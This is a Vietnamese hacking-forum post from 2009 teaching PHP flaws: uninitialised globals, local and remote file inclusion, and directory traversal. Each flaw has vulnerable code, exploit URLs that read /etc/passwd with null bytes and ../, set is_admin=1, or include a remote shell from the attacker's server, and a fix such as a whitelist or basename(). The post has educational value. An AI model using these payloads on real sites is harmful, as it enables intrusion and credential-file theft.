1. :: EnHack.Net ::
http://xforce.enhack.net/
PHP Underground Security - File Inclusion/Traverse
http://xforce.enhack.net/viewtopic.php?f=7&t=318
Author: Pim [ 15 Feb 2009 18:20 ]
Post subject: PHP Underground Security - File Inclusion/Traverse
Sang VBF đọc thấy có một bài LFI, RFI .. có dính null byte. Nhớ là Jutoms đã có một bài
về vấn đề này, lên G search và post lại cho anh em nào có nhu cầu đọc cho vui
---[ 0x01: Global Variables : Biến toàn cục
Biến trong PHP được tạo ra tự động mà không cần khai báo trước khi dùng, nếu gặp $_var
là tự tạo biến.
Xem code :
Code:
if ($is_admin == 1) {
//Yes, I'm the admin so call the
[...]
} else {
//No, I'm not the admin
[...]
}
Bug : if ($is_admin == 1) ~~> trước đó chưa khởi tạo giá trị ban đầu.
Exploite : http://remote_host/bugged.php?is_admin=1
Fixed Code:
$is_admin = 0;
[...]
if ($is_admin == 1) {
//Yes, I'm the admin so call the
[...]
} else {
//No, I'm not the admin
[...]
2. }
==========
---[ 0x02: File Inclusion]
-----[ Local File Inclusion]
PHP là một ngôn ngữ mạnh và đơn giản ~~> nhận xét của tác giả, Jutoms đồng quan
điểm
Bugged Code:
<?php
include "/users/".$include_path.".php";
[...]
?>
Như trên, $include_path chưa được khai báo trước
Exploite :
hxxp://remote_host/bugged.php?include_p ... /passwd%00
~~> list all user on server
Question??
%00 là gì ? ~~> kí tự Null kết thúc chuỗi gặp %00 là tự hiểu kết thúc chuỗi và bỏ qua các
kí tự cuối cùng, chính là bỏ cái đuôi .PHP (include "/users/".$include_path.".PHP")
======================
-----[ Remote File Inclusion]
Code:
<?php
[...]
include($_GET['pag']);
[...]
?>
~~> Vẫn cái bug $pag chưa được khai báo
Exploite :
Remote : http://remote_host/inc.php?pag=[Evil Script - our shell located on our server]
Cái quen thuộc mà ta hay dùng là :
http://remote_host/inc.php?pag=http://host/../shell.php
3. View files :
http://remote_host/inc.php?pag=/etc/passwd
Fix, how ? Tạo danh sách được chấp nhận (dùng mảng) :
Code:
[...]
$pag = $_GET['pag'];
$pages = array('index.php', 'alfa.php', 'beta.php', 'gamma.php');
if(in_array($pag, $pages)) {
include($pag);
} else {
die("Hacking Attempt!");
}
[...]
Gần với File Inclusion, File Traverse cũng không kém phần nguy hiểm.
File Traverse là gì ?
File Traverse hay còn gọi là "dot-dot-slash" nghĩa là "../", lỗi sinh ra như sau:
Code:
<?php
[...]
$fp = fopen("/path/{$_GET['filename']}.txt", 'r');
[...]
?>
Như tên gọi dot-dot-slash, ta sử dụng ../ và NULL Byte để truy cập đến các cấp thư mục
cao hơn, vd như:
Code:
http://remote_host/path/bug.php?filename=../../../../path_of_another_file/file%00
http://remote_host/path/bug.php?filename=../../../../etc/passwd%00
Fix lỗi:
Sử dụng hàm basename() để cắt bỏ phần trước "/" của đường dẫn, nghĩa là
Code: